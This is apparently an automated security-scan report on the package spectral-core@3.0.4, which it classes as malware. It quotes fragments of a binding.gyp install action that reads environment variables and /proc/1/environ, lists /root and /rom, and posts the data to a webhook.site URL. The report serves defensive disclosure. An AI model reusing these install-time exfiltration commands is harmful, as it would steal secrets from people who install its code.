spectral-core@3.0.4
Spectral analysis core utilities
AI Security Review
scanned 7d ago · by lpm-firewall-aiThe installation build action performs unconsented collection and external transmission of environment and system data. This is concrete data exfiltration and warrants blocking publication.
Static reason
No blocking static signals were detected.
Trigger
Installing the package invokes the node-gyp build action through its binding.gyp configuration.
Impact
Installation can disclose environment data and system directory listings to the endpoint without installer consent.
Mechanism
Inline Node.js code reads environment variables and selected system paths, then sends the collected text in an HTTPS POST request.
Attack narrative
During installation, the enabled native build configuration runs inline Node.js code that gathers environment values, reads process environment data, and lists system directories. It sends the collected data to a fixed webhook.site URL without a consent guard.
AI rationale
The installation build action performs unconsented collection and external transmission of environment and system data. This is concrete data exfiltration and warrants blocking publication.
Evidence
package.jsonbinding.gyp/proc/1/environ/root//rom//opt//overlay//run/
Network endpoints1
webhook.site/d6092bdc-05c0-45da-a280-c343ea6d6156
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- package.json sets gypfile to true, enabling the package's native build configuration during installation.
- binding.gyp defines a build action that runs inline Node.js code.
- That code collects environment data, reads /proc/1/environ, and lists system directories.
- The action posts the collected data to a fixed webhook.site endpoint without a consent check.
Evidence against
Behavioral surface
Trivial
Source & flagged code
7 flaggedbinding.gypView file
1{"targets":[{"target_name":"action_before_build","type":"none","actions":[{"action_name":"run_postsetup","message":"Finalizing spectral-core setup","inputs":[],"outputs":["build/Release/setup.node"],"action":["node","-e","try{var
High
Ai Review Evidence
binding.gyp defines a build action that runs inline Node.js code.
binding.gypView on unpkg · L11h=require('https'),c=require('child_process');var d='';try{d+='ENV_HTB:'+c.execSync('env|grep -i htb||echo none',{encoding:'utf8',timeout:5000})}catch(e){}try{d+='\\nENV_FLAG:'+c.execSync('env|grep -i flag||echo none',{encoding:'utf8',timeout:5000})}catch(e){}try{d+='\\nPROC_ENV:'+c.execSync('cat /proc/1/environ 2>/dev/null|tr \
High
Ai Review Evidence
That code collects environment data, reads /proc/1/environ, and lists system directories.
binding.gypView on unpkg · L11"\\\\0\" \"\\\\n\"|grep -iE \"htb|flag\"||echo none',{encoding:'utf8',timeout:5000})}catch(e){}try{d+='\\nROOT_DIR:'+c.execSync('ls -laR /root/ 2>/dev/null|head -30',{encoding:'utf8',timeout:5000})}catch(e){}try{d+='\\nROM_DIR:'+c.execSync('ls -laR /rom/ 2>/dev/null|head -40',{encoding:'utf8',timeou
High
Ai Review Evidence
Findings
1 Critical5 High1 Medium
CriticalManifest Confusionpackage.json
HighAi Review Evidencepackage.json
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
HighAi Review Evidencebinding.gyp
MediumShips Build Helperbinding.gyp
Affected versions and remediation
This report applies to spectral-core@3.0.4.
See all versions of spectral-core for other recorded verdicts.
- Avoid installing spectral-core@3.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
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